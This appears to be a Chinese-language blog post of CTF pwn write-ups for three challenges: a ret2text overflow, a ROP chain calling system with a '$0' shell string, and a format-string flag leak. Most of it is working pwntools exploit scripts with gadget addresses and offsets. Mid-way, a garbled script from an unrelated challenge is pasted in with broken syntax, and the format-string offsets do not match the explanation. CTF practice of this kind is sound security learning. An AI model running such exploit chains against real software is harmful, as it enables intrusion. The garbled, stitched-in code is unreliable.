10-28-CTF

[HNCTF 2022 Week1]easyoverflow

check一下

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位文件,开启了NX保护

ida静态分析

发现文件中有put(cat flag)

简单直接的ret2text

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*

context(os = 'linux',arch = 'amd64',log_level='debug')

elf = ELF('./easy_overflow')

p = process('./easy_overflow')

payload = b'a'*(0x30+8)+p64(0x40120F)

p.sendline(payload)

p.interactive()

[GFCTF 2021]where_is_shell

ida分析,以为是简单的ret2text

错误exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*

context(os = 'linux',arch = 'amd64',log_level='debug')

elf = ELF('./whereshell')

p = remote('node4.anna.nssctf.cn',28322)

payload = b'a'*(0x10+8)+p64(0x400557)

p.sendline(payload)

p.interactive()

为什么上述脚本运行无法get shell呢

众所周知,我们的shell(system(‘’/bin/sh)”) 分为两部分但是ida分析并没有/bin/sh

查询资料可知**$0也能当做/bin/sh使用**,而$0的机械码正好就是 \x24\x30,这跟我们tips函数里的这行机械码恰好符合,那我们只需要取

它地址后一位就可以了也就是取到0x400541就能得到$0的机械码了。

当然仅仅这样还不行,我们还需要加上ret和pop rdi

“pop rdi; ret” 是一种常见的ROP(Return Oriented Programming)gadget,用于构建ROP攻击时的payload。在x86_64架构中,这个gadget的作用是从栈中弹出一个数值,并将其赋值给RDI寄存器,然后进行返回。
在ROP攻击中,攻击者利用程序中存在的这种gadget,通过精心构造的数据将程序控制流引导到这个gadget,从而实现对程序行为的控制。通常情况下,攻击者会将需要的参数放置在栈上,然后利用ROP链将控制流引导到 “pop rdi; ret” 这样的gadget,将参数加载到合适的寄存器中,然后再执行调用目标函数的ret指令。

总之,先使用ROPgadget工具查找一下ret的地址

1
2
3
4
5
0x00000000004005e3 : pop rdi ; ret
0x00000000004005e1 : pop rsi; pop r15 ; ret
0x00000000004005dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400480 : repz ret
0x0000000000400416 : ret

在64位系统下,传输参数不同于32位的直接栈传参,如果参数的个数小于等于6个,则通过寄存器传参

参数分别通过rdirsirdxrcxr8r9寄存器传递

多出六个的则依旧使用栈传参

了解了这些,我们就可以编写exp了

首先要发送垃圾数据填充到指定地址

17 1from pwn import2​3p=process(‘./ezpies’)4​5text = p.recvuntil(‘70’)[-10:]//从遇到70开始,接收最后的十个6​7main_addr = int(text,16)//将main函数转化为16进制的整数8​9shell_addr = main_addr + 0x0000080F - 0x00000770//计算shell的地址,通过ida中的地址差先算main函数与system函数的距离10​11payload = b’a’(0x28+4)+p64(shell_addr)12​13p.sendline(payload)14​15p.interactive()16​17​python

然后传入/bin/sh

最后传入system

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*

context(os = 'linux',arch = 'amd64',log_level='debug')

elf = ELF('./whereshell')

p = remote('node4.anna.nssctf.cn',28322)

ret = 0x400416

pop_rdi = 0x4005e3

bin_sh = 0x400541

system = 0x400430

payload = b'a'*(0x10+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)

p.sendline(payload)

p.interactive()
~

[HNCTF 2022 Week1]fmtstrre

格式化字符串漏洞

格式化字符串漏洞是一种常见的安全漏洞,主要发生在‌C语言中。格式化字符串函数如printffprintfvprintfsprintf在处理格式化字符串时,如果用户输入的格式字符串参数没有得到正确的验证和过滤,攻击者可以利用这一漏洞读取或修改内存中的数据,甚至执行任意代码。这些函数通过栈传递参数,每读取一个占位符,就会到相应的地址获取数据并根据占位符的类型进行解码输出。如果提供的参数少于格式化字符串预期的个数,就可能产生格式化字符串漏洞。

这虽然是一个很古老的漏洞,但是对于刚接触漏洞方面研究的小白还是很有帮助(比如我)

1
2
3
4
5
6
7
8
 ./ezfmt
Welcome to the world of fmtstr
>
Open failed.: No such file or directory
Input your format string.
AAAAAA%p-%p-%p-%p-%p-%p-%p-%p-%p
Ok.
AAAAAA0x1-0x1-0x7a1393b14887-0x3-0x7fffffff-0x7025414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025

测量偏移量

大概在第五个参数

题目给了提示使用格式化字符串$来泄露flag

exp大致如下

1
2
3
4
5
from pwn import*
p = remote('ip',port)
payload = b'%7$aaaa'+p64(0x4040A0)//发送格式化字符串来获取flag,flag写入了bss段,后面四个a用于保持对齐
p.sendline(payload)
p.interactive()